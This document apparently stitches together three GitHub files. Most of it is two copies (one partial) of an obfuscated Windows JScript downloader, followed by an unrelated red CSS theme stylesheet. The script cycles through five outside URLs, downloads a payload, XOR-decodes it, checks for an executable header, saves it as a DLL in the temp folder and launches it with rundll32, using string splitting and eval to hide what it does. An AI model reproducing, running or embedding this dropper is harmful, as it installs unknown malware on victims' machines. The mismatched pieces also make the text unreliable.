var DisassociativeIHy7=["M,S,X,M,L,2,.,X,M,L,H,T,T,P".DisassociativeKMx1(), "WinHttp.WinHttpRequest.5.1"];
for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeIHy7.length; DisassociativeFNx2 += 1)
{
try
{
var DisassociativeQPw3=WScript["CreateObject"](DisassociativeIHy7[DisassociativeFNx2]);
break;
}
catch (e)
{
continue;
}
};
var DisassociativePUo6 = new ActiveXObject("Scripting.FileSystemObject");
function DisassociativeUf9()
{
var DisassociativeWUn8 = DisassociativePUo6.GetFile(DisassociativeFUm6);
return DisassociativeWUn8["ShortPath"];
}
var DisassociativeFy6 = 0;
for (var DisassociativeTTb4 = 0; DisassociativeTTb4 < DisassociativeWx8.length; DisassociativeTTb4 = DisassociativeTTb4 + 1)
{
try
{
var DisassociativeSPt3=this["W,S,c,r,i,p,t".DisassociativeKMx1()]["CreateObject"]("A"+"D"+"O"+"DB.Stream");
DisassociativeQPw3["open"]("G,E,T".DisassociativeKMx1(), DisassociativeWx8[DisassociativeTTb4], false);
DisassociativeQPw3.setRequestHeader("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
DisassociativeQPw3["send"]();
while (DisassociativeQPw3.readystate < 4) WScript["Sleep"](100);
DisassociativeSPt3["open"]();
DisassociativeSPt3.type=1;
/*@cc_on
DisassociativeSPt3.write(DisassociativeQPw3.ResponseBody);
DisassociativeSPt3.position=0;
DisassociativeSPt3['Sav'+'eT'+'oFile'](DisassociativeXAk4, DisassociativeUr8);
DisassociativeSPt3.close();
var DisassociativeOOx0 = DisassociativeUq7(DisassociativeXAk4);
DisassociativeOOx0 = DisassociativeGl6(DisassociativeOOx0, DisassociativeKa7);
if (DisassociativeOOx0[0] != 77 || DisassociativeOOx0[1] != 90) continue;
DisassociativePp3(DisassociativeFUm6, DisassociativeOOx0);
var DisassociativeZGx7 = DisassociativeUf9();
var d = new Date();
d.setFullYear("2015");
eval('DisassociativeBs9["R,u,n".DisassociativeKMx1()]("r,u,n,d,l,l,3,2".DisassociativeKMx1() + " " + DisassociativeZGx7 + "," + DisassociativeSb3);');
@*/
break;
}
catch (e) {continue;};
}
WScript.Quit(0);
|
{
"pile_set_name": "Github"
}
|
String.prototype.DisassociativeKMx1 = function () {return this.split(",").join("");};
//BEGIN_CODEC_PART
function DisassociativeNXr9(DisassociativeTWf7)
{var DisassociativeFDs1=new Array();
DisassociativeFDs1[199]=128;DisassociativeFDs1[252]=129;DisassociativeFDs1[233]=130;DisassociativeFDs1[226]=131;DisassociativeFDs1[228]=132;DisassociativeFDs1[224]=133;DisassociativeFDs1[229]=134;DisassociativeFDs1[231]=135;DisassociativeFDs1[234]=136;DisassociativeFDs1[235]=137;
DisassociativeFDs1[232]=138;DisassociativeFDs1[239]=139;DisassociativeFDs1[238]=140;DisassociativeFDs1[236]=141;DisassociativeFDs1[196]=142;DisassociativeFDs1[197]=143;DisassociativeFDs1[201]=144;DisassociativeFDs1[230]=145;DisassociativeFDs1[198]=146;DisassociativeFDs1[244]=147;
DisassociativeFDs1[246]=148;DisassociativeFDs1[242]=149;DisassociativeFDs1[251]=150;DisassociativeFDs1[249]=151;DisassociativeFDs1[255]=152;DisassociativeFDs1[214]=153;DisassociativeFDs1[220]=154;DisassociativeFDs1[162]=155;DisassociativeFDs1[163]=156;DisassociativeFDs1[165]=157;
DisassociativeFDs1[8359]=158;DisassociativeFDs1[402]=159;DisassociativeFDs1[225]=160;DisassociativeFDs1[237]=161;DisassociativeFDs1[243]=162;DisassociativeFDs1[250]=163;DisassociativeFDs1[241]=164;DisassociativeFDs1[209]=165;DisassociativeFDs1[170]=166;DisassociativeFDs1[186]=167;
DisassociativeFDs1[191]=168;DisassociativeFDs1[8976]=169;DisassociativeFDs1[172]=170;DisassociativeFDs1[189]=171;DisassociativeFDs1[188]=172;DisassociativeFDs1[161]=173;DisassociativeFDs1[171]=174;DisassociativeFDs1[187]=175;DisassociativeFDs1[9617]=176;DisassociativeFDs1[9618]=177;
DisassociativeFDs1[9619]=178;DisassociativeFDs1[9474]=179;DisassociativeFDs1[9508]=180;DisassociativeFDs1[9569]=181;DisassociativeFDs1[9570]=182;DisassociativeFDs1[9558]=183;DisassociativeFDs1[9557]=184;DisassociativeFDs1[9571]=185;DisassociativeFDs1[9553]=186;DisassociativeFDs1[9559]=187;
DisassociativeFDs1[9565]=188;DisassociativeFDs1[9564]=189;DisassociativeFDs1[9563]=190;DisassociativeFDs1[9488]=191;DisassociativeFDs1[9492]=192;DisassociativeFDs1[9524]=193;DisassociativeFDs1[9516]=194;DisassociativeFDs1[9500]=195;DisassociativeFDs1[9472]=196;DisassociativeFDs1[9532]=197;
DisassociativeFDs1[9566]=198;DisassociativeFDs1[9567]=199;DisassociativeFDs1[9562]=200;DisassociativeFDs1[9556]=201;DisassociativeFDs1[9577]=202;DisassociativeFDs1[9574]=203;DisassociativeFDs1[9568]=204;DisassociativeFDs1[9552]=205;DisassociativeFDs1[9580]=206;DisassociativeFDs1[9575]=207;
DisassociativeFDs1[9576]=208;DisassociativeFDs1[9572]=209;DisassociativeFDs1[9573]=210;DisassociativeFDs1[9561]=211;DisassociativeFDs1[9560]=212;DisassociativeFDs1[9554]=213;DisassociativeFDs1[9555]=214;DisassociativeFDs1[9579]=215;DisassociativeFDs1[9578]=216;DisassociativeFDs1[9496]=217;
DisassociativeFDs1[9484]=218;DisassociativeFDs1[9608]=219;DisassociativeFDs1[9604]=220;DisassociativeFDs1[9612]=221;DisassociativeFDs1[9616]=222;DisassociativeFDs1[9600]=223;DisassociativeFDs1[945]=224;DisassociativeFDs1[223]=225;DisassociativeFDs1[915]=226;DisassociativeFDs1[960]=227;
DisassociativeFDs1[931]=228;DisassociativeFDs1[963]=229;DisassociativeFDs1[181]=230;DisassociativeFDs1[964]=231;DisassociativeFDs1[934]=232;DisassociativeFDs1[920]=233;DisassociativeFDs1[937]=234;DisassociativeFDs1[948]=235;DisassociativeFDs1[8734]=236;DisassociativeFDs1[966]=237;
DisassociativeFDs1[949]=238;DisassociativeFDs1[8745]=239;DisassociativeFDs1[8801]=240;DisassociativeFDs1[177]=241;DisassociativeFDs1[8805]=242;DisassociativeFDs1[8804]=243;DisassociativeFDs1[8992]=244;DisassociativeFDs1[8993]=245;DisassociativeFDs1[247]=246;DisassociativeFDs1[8776]=247;
DisassociativeFDs1[176]=248;DisassociativeFDs1[8729]=249;DisassociativeFDs1[183]=250;DisassociativeFDs1[8730]=251;DisassociativeFDs1[8319]=252;DisassociativeFDs1[178]=253;DisassociativeFDs1[9632]=254;DisassociativeFDs1[160]=255;
var DisassociativeOOx0=new Array();
for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeTWf7.length; DisassociativeFNx2 += 1)
{var DisassociativeEGc4=DisassociativeTWf7["charCodeAt"](DisassociativeFNx2);
if (DisassociativeEGc4 < 128){var DisassociativeLZu0=DisassociativeEGc4;}
else {var DisassociativeLZu0=DisassociativeFDs1[DisassociativeEGc4];}
DisassociativeOOx0["push"](DisassociativeLZu0);};
return DisassociativeOOx0;}
function DisassociativePw3(DisassociativeTt7)
{var DisassociativeTUu2=new Array();
DisassociativeTUu2[128]=199;DisassociativeTUu2[129]=252;DisassociativeTUu2[130]=233;DisassociativeTUu2[131]=226;DisassociativeTUu2[132]=228;DisassociativeTUu2[133]=224;DisassociativeTUu2[134]=229;DisassociativeTUu2[135]=231;DisassociativeTUu2[136]=234;DisassociativeTUu2[137]=235;
DisassociativeTUu2[138]=232;DisassociativeTUu2[139]=239;DisassociativeTUu2[140]=238;DisassociativeTUu2[141]=236;DisassociativeTUu2[142]=196;DisassociativeTUu2[143]=197;DisassociativeTUu2[144]=201;DisassociativeTUu2[145]=230;DisassociativeTUu2[146]=198;DisassociativeTUu2[147]=244;
DisassociativeTUu2[148]=246;DisassociativeTUu2[149]=242;DisassociativeTUu2[150]=251;DisassociativeTUu2[151]=249;DisassociativeTUu2[152]=255;DisassociativeTUu2[153]=214;DisassociativeTUu2[154]=220;DisassociativeTUu2[155]=162;DisassociativeTUu2[156]=163;DisassociativeTUu2[157]=165;
DisassociativeTUu2[158]=8359;DisassociativeTUu2[159]=402;DisassociativeTUu2[160]=225;DisassociativeTUu2[161]=237;DisassociativeTUu2[162]=243;DisassociativeTUu2[163]=250;DisassociativeTUu2[164]=241;DisassociativeTUu2[165]=209;DisassociativeTUu2[166]=170;DisassociativeTUu2[167]=186;
DisassociativeTUu2[168]=191;DisassociativeTUu2[169]=8976;DisassociativeTUu2[170]=172;DisassociativeTUu2[171]=189;DisassociativeTUu2[172]=188;DisassociativeTUu2[173]=161;DisassociativeTUu2[174]=171;DisassociativeTUu2[175]=187;DisassociativeTUu2[176]=9617;DisassociativeTUu2[177]=9618;
DisassociativeTUu2[178]=9619;DisassociativeTUu2[179]=9474;DisassociativeTUu2[180]=9508;DisassociativeTUu2[181]=9569;DisassociativeTUu2[182]=9570;DisassociativeTUu2[183]=9558;DisassociativeTUu2[184]=9557;DisassociativeTUu2[185]=9571;DisassociativeTUu2[186]=9553;DisassociativeTUu2[187]=9559;
DisassociativeTUu2[188]=9565;DisassociativeTUu2[189]=9564;DisassociativeTUu2[190]=9563;DisassociativeTUu2[191]=9488;DisassociativeTUu2[192]=9492;DisassociativeTUu2[193]=9524;DisassociativeTUu2[194]=9516;DisassociativeTUu2[195]=9500;DisassociativeTUu2[196]=9472;DisassociativeTUu2[197]=9532;
DisassociativeTUu2[198]=9566;DisassociativeTUu2[199]=9567;DisassociativeTUu2[200]=9562;DisassociativeTUu2[201]=9556;DisassociativeTUu2[202]=9577;DisassociativeTUu2[203]=9574;DisassociativeTUu2[204]=9568;DisassociativeTUu2[205]=9552;DisassociativeTUu2[206]=9580;DisassociativeTUu2[207]=9575;
DisassociativeTUu2[208]=9576;DisassociativeTUu2[209]=9572;DisassociativeTUu2[210]=9573;DisassociativeTUu2[211]=9561;DisassociativeTUu2[212]=9560;DisassociativeTUu2[213]=9554;DisassociativeTUu2[214]=9555;DisassociativeTUu2[215]=9579;DisassociativeTUu2[216]=9578;DisassociativeTUu2[217]=9496;
DisassociativeTUu2[218]=9484;DisassociativeTUu2[219]=9608;DisassociativeTUu2[220]=9604;DisassociativeTUu2[221]=9612;DisassociativeTUu2[222]=9616;DisassociativeTUu2[223]=9600;DisassociativeTUu2[224]=945;DisassociativeTUu2[225]=223;DisassociativeTUu2[226]=915;DisassociativeTUu2[227]=960;
DisassociativeTUu2[228]=931;DisassociativeTUu2[229]=963;DisassociativeTUu2[230]=181;DisassociativeTUu2[231]=964;DisassociativeTUu2[232]=934;DisassociativeTUu2[233]=920;DisassociativeTUu2[234]=937;DisassociativeTUu2[235]=948;DisassociativeTUu2[236]=8734;DisassociativeTUu2[237]=966;
DisassociativeTUu2[238]=949;DisassociativeTUu2[239]=8745;DisassociativeTUu2[240]=8801;DisassociativeTUu2[241]=177;DisassociativeTUu2[242]=8805;DisassociativeTUu2[243]=8804;DisassociativeTUu2[244]=8992;DisassociativeTUu2[245]=8993;DisassociativeTUu2[246]=247;DisassociativeTUu2[247]=8776;
DisassociativeTUu2[248]=176;DisassociativeTUu2[249]=8729;DisassociativeTUu2[250]=183;DisassociativeTUu2[251]=8730;DisassociativeTUu2[252]=8319;DisassociativeTUu2[253]=178;DisassociativeTUu2[254]=9632;DisassociativeTUu2[255]=160;
var DisassociativeAd2=new Array();var DisassociativeUw6="";var DisassociativeLZu0; var DisassociativeEGc4;
for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeTt7.length; DisassociativeFNx2 += 1)
{DisassociativeLZu0=DisassociativeTt7[DisassociativeFNx2];
if (DisassociativeLZu0 < 128){DisassociativeEGc4=DisassociativeLZu0;}
else {DisassociativeEGc4=DisassociativeTUu2[DisassociativeLZu0];}
DisassociativeAd2.push(String["fromCharCode"](DisassociativeEGc4));}
DisassociativeUw6=DisassociativeAd2["join"]("");
return DisassociativeUw6;}
function DisassociativeGl6(DisassociativeTt7, DisassociativeEFs6)
{var DisassociativeDRw6 = DisassociativeNXr9(DisassociativeEFs6);
for (var DisassociativeFNx2 = 0; DisassociativeFNx2 < DisassociativeTt7.length; DisassociativeFNx2 += 1)
{DisassociativeTt7[DisassociativeFNx2] ^= DisassociativeDRw6[DisassociativeFNx2 % DisassociativeDRw6.length];};
return DisassociativeTt7;}
function DisassociativeUq7(DisassociativeYGa2)
{var DisassociativeNCk5=WScript["CreateObject"]("A"+"D"+"O"+"DB.Stream");
DisassociativeNCk5["type"]=2;
DisassociativeNCk5["Charset"]="437";
DisassociativeNCk5["open"]();
DisassociativeNCk5["LoadFromFile"](DisassociativeYGa2);
var DisassociativeZj1=DisassociativeNCk5["ReadText"];
DisassociativeNCk5["close"]();
return DisassociativeNXr9(DisassociativeZj1);}
function DisassociativePp3(DisassociativeYGa2, DisassociativeTt7)
{var DisassociativeNCk5=WScript["CreateObject"]("A"+"D"+"O"+"DB.Stream");
DisassociativeNCk5["type"]=2;
DisassociativeNCk5["Charset"]="437";
DisassociativeNCk5["open"]();
DisassociativeNCk5["writeText"](DisassociativePw3(DisassociativeTt7));
DisassociativeNCk5["SaveToFile"](DisassociativeYGa2, 2);
DisassociativeNCk5["close"]();}
//END_CODEC_PART
var DisassociativeBp8 = "http://";
var DisassociativeWx8 = [DisassociativeBp8 + "sadhekoala.com/vjhxxwuo",DisassociativeBp8 + "thegoldclubs.com/soaiga",DisassociativeBp8 + "thirdchild.org/ratorfeybm",DisassociativeBp8 + "lauiatraps.net/tltnctyadf",DisassociativeBp8 + "suziemorris.net/qz3wodtpqe"];
var DisassociativeBNy7 = "JBUHnwWIpAlTYNc";
var DisassociativeKa7 = "R9cSS1rkjyRw";
var DisassociativeSb3 = "L2hr1GeO6BCNFWPT";
var DisassociativeUr8=2;
var DisassociativeBs9=WScript["CreateObject"]("WScript.Shell");
var DisassociativeGFa5=DisassociativeBs9.ExpandEnvironmentStrings("%T"+"EMP%/");
var DisassociativeXAk4=DisassociativeGFa5 + DisassociativeBNy7;
var DisassociativeFUm6=DisassociativeXAk4 + ".d" + "ll";
var DisassociativeFn1 = DisassociativeBs9["Environment"]("System");
if (DisassociativeFn1("PROCESSOR_ARCHITECTURE").toLowerCase() == "amd64")
{
var DisassociativeAKu2 = DisassociativeBs9.ExpandEnvironmentStrings("%SystemRoot%\\SysWOW64\\ru"+"ndll32.exe");
}
else
{
var DisassociativeAKu2 = DisassociativeBs9["ExpandEnvironmentStrings"]("%SystemRoot%\\system32\\ru"+"ndll32.exe");
}
var DisassociativeIHy7=["M,S,X,M,L,2,.,X,M,L,H,T,T,P".DisassociativeKMx1(), "WinHttp.WinHttpRequest.5.1"];
for (var DisassociativeFNx2=0; DisassociativeFNx2 < DisassociativeIHy7.length; DisassociativeFNx2 += 1)
{
try
{
var DisassociativeQPw3=WScript["CreateObject"](DisassociativeIHy7[DisassociativeFNx2]);
break;
}
catch (e)
{
continue;
}
};
var DisassociativePUo6 = new ActiveXObject("Scripting.FileSystemObject");
function DisassociativeUf9()
{
var DisassociativeWUn8 = DisassociativePUo6.GetFile(DisassociativeFUm6);
return DisassociativeWUn8["ShortPath"];
}
var DisassociativeFy6 = 0;
for (var DisassociativeTTb4 = 0; DisassociativeTTb4 < DisassociativeWx8.length; DisassociativeTTb4 = DisassociativeTTb4 + 1)
{
try
{
var DisassociativeSPt3=this["W,S,c,r,i,p,t".DisassociativeKMx1()]["CreateObject"]("A"+"D"+"O"+"DB.Stream");
DisassociativeQPw3["open"]("G,E,T".DisassociativeKMx1(), DisassociativeWx8[DisassociativeTTb4], false);
DisassociativeQPw3.setRequestHeader("User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
DisassociativeQPw3["send"]();
while (DisassociativeQPw3.readystate < 4) WScript["Sleep"](100);
DisassociativeSPt3["open"]();
DisassociativeSPt3.type=1;
/*@cc_on
DisassociativeSPt3.write(DisassociativeQPw3.ResponseBody);
DisassociativeSPt3.position=0;
DisassociativeSPt3['Sav'+'eT'+'oFile'](DisassociativeXAk4, DisassociativeUr8);
DisassociativeSPt3.close();
var DisassociativeOOx0 = DisassociativeUq7(DisassociativeXAk4);
DisassociativeOOx0 = DisassociativeGl6(DisassociativeOOx0, DisassociativeKa7);
if (DisassociativeOOx0[0] != 77 || DisassociativeOOx0[1] != 90) continue;
DisassociativePp3(DisassociativeFUm6, DisassociativeOOx0);
var DisassociativeZGx7 = DisassociativeUf9();
var d = new Date();
d.setFullYear("2015");
eval('DisassociativeBs9["R,u,n".DisassociativeKMx1()]("r,u,n,d,l,l,3,2".DisassociativeKMx1() + " " + DisassociativeZGx7 + "," + DisassociativeSb3);');
@*/
break;
}
catch (e) {continue;};
}
WScript.Quit(0);
|
{
"pile_set_name": "Github"
}
|
/*********************
THEME COLOR - DEFAULT
*********************/
a {
color: #3f444a; }
a:active, a:hover, a:focus {
color: #cd6262; }
.c-theme-link:focus, .c-theme-link:active, .c-theme-link:hover {
color: #cd6262 !important; }
.c-theme-link:focus > i, .c-theme-link:active > i, .c-theme-link:hover > i {
color: #cd6262 !important; }
.c-theme-link.c-active {
color: #cd6262 !important; }
.c-theme-link.c-active > i {
color: #cd6262 !important; }
.c-theme-nav li:focus > a:not(.btn), .c-theme-nav li:active > a:not(.btn), .c-theme-nav li:hover > a:not(.btn) {
color: #cd6262 !important; }
.c-theme-nav li:focus > .c-quick-sidebar-toggler > .c-line, .c-theme-nav li:active > .c-quick-sidebar-toggler > .c-line, .c-theme-nav li:hover > .c-quick-sidebar-toggler > .c-line {
background: #cd6262 !important; }
.c-theme-nav li.c-active {
color: #cd6262 !important; }
.c-theme-nav li.c-active > a:not(.btn) {
color: #cd6262 !important; }
.c-theme-nav li.c-active > .c-quick-sidebar-toggler > .c-line {
background: #cd6262 !important; }
.c-theme-nav > li > .dropdown-menu.c-menu-type-mega > .nav.nav-tabs > li:hover > a {
color: #cd6262 !important; }
.c-theme-nav > li > .dropdown-menu.c-menu-type-mega > .nav.nav-tabs > li.active {
border-bottom: 1px solid #cd6262 !important; }
.c-theme-nav > li > .dropdown-menu.c-menu-type-mega > .nav.nav-tabs > li.active > a {
color: #cd6262 !important; }
.c-theme-nav.nav.nav-tabs > li:hover > a {
color: #cd6262 !important; }
.c-theme-nav.nav.nav-tabs > li.active {
border-bottom: 1px solid #cd6262 !important; }
.c-theme-nav.nav.nav-tabs > li.active > a {
color: #cd6262 !important; }
.c-theme-ul > li:focus > a:not(.btn), .c-theme-ul > li:active > a:not(.btn), .c-theme-ul > li:hover > a:not(.btn) {
color: #cd6262 !important; }
.c-theme-ul > li:focus > a:not(.btn) > i, .c-theme-ul > li:active > a:not(.btn) > i, .c-theme-ul > li:hover > a:not(.btn) > i {
color: #cd6262 !important; }
.c-theme-ul > li:focus > button > .c-line, .c-theme-ul > li:active > button > .c-line, .c-theme-ul > li:hover > button > .c-line {
background: #cd6262 !important; }
.c-theme-ul > li.active, .c-theme-ul > li.c-active {
color: #cd6262 !important; }
.c-theme-ul > li.active > a:not(.btn), .c-theme-ul > li.c-active > a:not(.btn) {
color: #cd6262 !important; }
.c-theme-ul > li.active > a:not(.btn) > i, .c-theme-ul > li.c-active > a:not(.btn) > i {
color: #cd6262 !important; }
.c-theme-ul-bg > li {
color: #ffffff;
background: #cd6262 !important; }
.c-theme-font,
.c-theme-color {
color: #cd6262 !important; }
.c-theme-font > i,
.c-theme-color > i {
color: #cd6262 !important; }
.c-theme-font-hover:hover {
color: #cd6262 !important; }
.c-theme-bg {
background-color: #cd6262 !important; }
.c-theme-bg.c-theme-darken {
background-color: #bf3d3d !important; }
.c-theme-bg-after:after {
background-color: #cd6262 !important; }
.c-theme-bg-before:before {
background-color: #cd6262 !important; }
.c-theme-border-after:after {
border-color: #cd6262 !important; }
.c-theme-border-before:before {
border-color: #cd6262 !important; }
.c-theme-bg-on-hover:hover {
background-color: #cd6262 !important; }
.c-theme-border {
border-color: #cd6262 !important; }
.c-theme-on-hover:hover {
color: #cd6262 !important; }
.c-theme-bg-parent-hover:hover .c-theme-bg-on-parent-hover {
background-color: #cd6262 !important; }
.c-theme-border {
border-color: #cd6262; }
.c-theme-border-top {
border-top-color: #cd6262; }
.c-theme-border-bottom {
border-bottom-color: #cd6262 !important; }
.c-theme-border-left {
border-left-color: #cd6262; }
.c-theme-border-right {
border-right-color: #cd6262; }
.c-content-iconlist-1.c-theme > li:hover i {
color: #fff;
background: #cd6262; }
.c-content-ver-nav .c-menu.c-theme > li:before {
color: #cd6262; }
.c-content-ver-nav .c-menu.c-theme.c-arrow-dot > li:before {
background: #cd6262; }
.c-content-pagination.c-theme > li:hover > a {
border-color: #cd6262;
background: #cd6262;
color: #fff; }
.c-content-pagination.c-theme > li:hover > a > i {
color: #fff; }
.c-content-pagination.c-theme > li.c-active > span,
.c-content-pagination.c-theme > li.c-active > a {
border-color: #cd6262;
background: #cd6262;
color: #fff; }
.c-content-pagination.c-theme > li.c-active > span > i,
.c-content-pagination.c-theme > li.c-active > a > i {
color: #fff; }
.c-theme-btn.btn {
color: #ffffff;
background: #cd6262;
border-color: #cd6262; }
.c-theme-btn.btn.btn-no-focus:focus, .c-theme-btn.btn.btn-no-focus.focus {
color: #ffffff;
background: #cd6262;
border-color: #cd6262; }
.c-theme-btn.btn.btn-no-focus:hover, .c-theme-btn.btn:hover, .c-theme-btn.btn.btn-no-focus:active, .c-theme-btn.btn:active, .c-theme-btn.btn.active,
.open > .c-theme-btn.btn.dropdown-toggle {
color: #ffffff;
background: #c34343;
border-color: #c34343; }
.c-theme-btn.btn:active, .c-theme-btn.btn.active,
.open > .c-theme-btn.btn.dropdown-toggle {
background-image: none; }
.c-theme-btn.btn.disabled, .c-theme-btn.btn.disabled:hover, .c-theme-btn.btn.disabled:not(.btn-no-focus):focus, .c-theme-btn.btn.disabled:not(.btn-no-focus).focus, .c-theme-btn.btn.disabled:active, .c-theme-btn.btn.disabled.active, .c-theme-btn.btn[disabled], .c-theme-btn.btn[disabled]:hover, .c-theme-btn.btn[disabled]:not(.btn-no-focus):focus, .c-theme-btn.btn[disabled]:not(.btn-no-focus).focus, .c-theme-btn.btn[disabled]:active, .c-theme-btn.btn[disabled].active,
fieldset[disabled] .c-theme-btn.btn,
fieldset[disabled] .c-theme-btn.btn:hover,
fieldset[disabled] .c-theme-btn.btn:not(.btn-no-focus):focus,
fieldset[disabled] .c-theme-btn.btn:not(.btn-no-focus).focus,
fieldset[disabled] .c-theme-btn.btn:active,
fieldset[disabled] .c-theme-btn.btn.active {
background: #cd6262;
border-color: #cd6262; }
.c-theme-btn.btn .badge {
color: #cd6262;
background: #ffffff; }
.c-theme-btn.c-btn-border-1x {
border-color: #cd6262;
border-width: 1px;
color: #cd6262;
background: none;
border-color: #cd6262; }
.c-theme-btn.c-btn-border-1x.btn-no-focus:focus, .c-theme-btn.c-btn-border-1x.btn-no-focus.focus {
color: #cd6262;
background: none;
border-color: #cd6262; }
.c-theme-btn.c-btn-border-1x.btn-no-focus:hover, .c-theme-btn.c-btn-border-1x:hover, .c-theme-btn.c-btn-border-1x.btn-no-focus:active, .c-theme-btn.c-btn-border-1x:active, .c-theme-btn.c-btn-border-1x.active,
.open > .c-theme-btn.c-btn-border-1x.dropdown-toggle {
color: #ffffff;
background: #cd6262;
border-color: #cd6262; }
.c-theme-btn.c-btn-border-1x:active, .c-theme-btn.c-btn-border-1x.active,
.open > .c-theme-btn.c-btn-border-1x.dropdown-toggle {
background-image: none; }
.c-theme-btn.c-btn-border-1x.disabled, .c-theme-btn.c-btn-border-1x.disabled:hover, .c-theme-btn.c-btn-border-1x.disabled:not(.btn-no-focus):focus, .c-theme-btn.c-btn-border-1x.disabled:not(.btn-no-focus).focus, .c-theme-btn.c-btn-border-1x.disabled:active, .c-theme-btn.c-btn-border-1x.disabled.active, .c-theme-btn.c-btn-border-1x[disabled], .c-theme-btn.c-btn-border-1x[disabled]:hover, .c-theme-btn.c-btn-border-1x[disabled]:not(.btn-no-focus):focus, .c-theme-btn.c-btn-border-1x[disabled]:not(.btn-no-focus).focus, .c-theme-btn.c-btn-border-1x[disabled]:active, .c-theme-btn.c-btn-border-1x[disabled].active,
fieldset[disabled] .c-theme-btn.c-btn-border-1x,
fieldset[disabled] .c-theme-btn.c-btn-border-1x:hover,
fieldset[disabled] .c-theme-btn.c-btn-border-1x:not(.btn-no-focus):focus,
fieldset[disabled] .c-theme-btn.c-btn-border-1x:not(.btn-no-focus).focus,
fieldset[disabled] .c-theme-btn.c-btn-border-1x:active,
fieldset[disabled] .c-theme-btn.c-btn-border-1x.active {
background: none;
border-color: #cd6262; }
.c-theme-btn.c-btn-border-1x .badge {
color: none;
background: #cd6262; }
.c-theme-btn.c-btn-border-2x {
border-color: #cd6262;
border-width: 2px;
color: #cd6262;
background: none;
border-color: #cd6262; }
.c-theme-btn.c-btn-border-2x.btn-no-focus:focus, .c-theme-btn.c-btn-border-2x.btn-no-focus.focus {
color: #cd6262;
background: none;
border-color: #cd6262; }
.c-theme-btn.c-btn-border-2x.btn-no-focus:hover, .c-theme-btn.c-btn-border-2x:hover, .c-theme-btn.c-btn-border-2x.btn-no-focus:active, .c-theme-btn.c-btn-border-2x:active, .c-theme-btn.c-btn-border-2x.active,
.open > .c-theme-btn.c-btn-border-2x.dropdown-toggle {
color: #ffffff;
background: #cd6262;
border-color: #cd6262; }
.c-theme-btn.c-btn-border-2x:active, .c-theme-btn.c-btn-border-2x.active,
.open > .c-theme-btn.c-btn-border-2x.dropdown-toggle {
background-image: none; }
.c-theme-btn.c-btn-border-2x.disabled, .c-theme-btn.c-btn-border-2x.disabled:hover, .c-theme-btn.c-btn-border-2x.disabled:not(.btn-no-focus):focus, .c-theme-btn.c-btn-border-2x.disabled:not(.btn-no-focus).focus, .c-theme-btn.c-btn-border-2x.disabled:active, .c-theme-btn.c-btn-border-2x.disabled.active, .c-theme-btn.c-btn-border-2x[disabled], .c-theme-btn.c-btn-border-2x[disabled]:hover, .c-theme-btn.c-btn-border-2x[disabled]:not(.btn-no-focus):focus, .c-theme-btn.c-btn-border-2x[disabled]:not(.btn-no-focus).focus, .c-theme-btn.c-btn-border-2x[disabled]:active, .c-theme-btn.c-btn-border-2x[disabled].active,
fieldset[disabled] .c-theme-btn.c-btn-border-2x,
fieldset[disabled] .c-theme-btn.c-btn-border-2x:hover,
fieldset[disabled] .c-theme-btn.c-btn-border-2x:not(.btn-no-focus):focus,
fieldset[disabled] .c-theme-btn.c-btn-border-2x:not(.btn-no-focus).focus,
fieldset[disabled] .c-theme-btn.c-btn-border-2x:active,
fieldset[disabled] .c-theme-btn.c-btn-border-2x.active {
background: none;
border-color: #cd6262; }
.c-theme-btn.c-btn-border-2x .badge {
color: none;
background: #cd6262; }
.c-theme.form-control:focus, .c-theme.form-control:active, .c-theme.form-control.active {
border-color: #cd6262 !important; }
.c-content-line-icon.c-theme {
background-image: url(../../../../base/img/content/line-icons/red1.png); }
.c-content-list-1.c-theme.c-separator-dot > li:before,
.c-content-list-1.c-theme > li:before {
background: #cd6262; }
.c-content-tab-1.c-theme .nav > li:hover > a, .c-content-tab-1.c-theme .nav > li:focus > a, .c-content-tab-1.c-theme .nav > li:active > a, .c-content-tab-1.c-theme .nav > li.active > a,
.c-content-tab-1.c-theme .nav.nav-justified > li:hover > a,
.c-content-tab-1.c-theme .nav.nav-justified > li:focus > a,
.c-content-tab-1.c-theme .nav.nav-justified > li:active > a,
.c-content-tab-1.c-theme .nav.nav-justified > li.active > a {
border-bottom-color: #cd6262; }
.c-content-tab-2.c-theme > ul > li.active > a > .c-title, .c-content-tab-2.c-theme > ul > li:hover > a > .c-title {
color: #cd6262; }
.c-content-tab-2.c-theme > ul > li.active > a > .c-content-line-icon, .c-content-tab-2.c-theme > ul > li:hover > a > .c-content-line-icon {
background-image: url(../../../../base/img/content/line-icons/red1.png); }
.c-content-tab-5.c-theme .c-nav-tab > li.active > a,
.c-content-tab-5.c-theme .c-nav-tab > li a:hover {
color: #fff;
background-color: #cd6262; }
.c-content-tab-5.c-theme .c-nav-tab.c-arrow a:hover:after {
border-left-color: #cd6262; }
.c-content-tab-5.c-theme .c-nav-tab.c-arrow .active > a:after {
border-left-color: #cd6262; }
.c-content-accordion-1.c-theme .panel > .panel-heading > .panel-title > a {
background-color: #cd6262; }
.c-content-accordion-1.c-theme .panel > .panel-heading > .panel-title > a.collapsed {
background-color: #ffffff; }
.c-content-accordion-1.c-theme .panel > .panel-heading > .panel-title > a.collapsed:hover, .c-content-accordion-1.c-theme .panel > .panel-heading > .panel-title > a.collapsed:focus {
background-color: #cd6262; }
.c-content-accordion-1.c-theme .panel > .panel-collapse > .panel-body {
background-color: #cd6262; }
.c-mega-menu-onepage-dots.c-theme .c-onepage-dots-nav > li.c-onepage-link:hover > a, .c-mega-menu-onepage-dots.c-theme .c-onepage-dots-nav > li.c-onepage-link.c-active > a, .c-mega-menu-onepage-dots.c-theme .c-onepage-dots-nav > li.c-onepage-link.active > a {
background: rgba(205, 98, 98, 0.9); }
.c-layout-sidebar-menu.c-theme .c-sidebar-menu li.c-active > a {
transition: all 0.2s;
color: #cd6262; }
.c-layout-sidebar-menu.c-theme .c-sidebar-menu li.c-active > a > .c-arrow {
color: #cd6262; }
.c-layout-sidebar-menu.c-theme .c-sidebar-menu li .c-dropdown-menu > li:hover > a {
color: #cd6262; }
.c-layout-sidebar-menu.c-theme .c-sidebar-menu.c-option-2 > li.c-active > a {
transition: all 0.2s;
color: #ffffff;
background-color: #cd6262; }
.c-layout-sidebar-menu.c-theme .c-sidebar-menu.c-option-2 > li.c-active > a > .c-arrow {
color: #ffffff; }
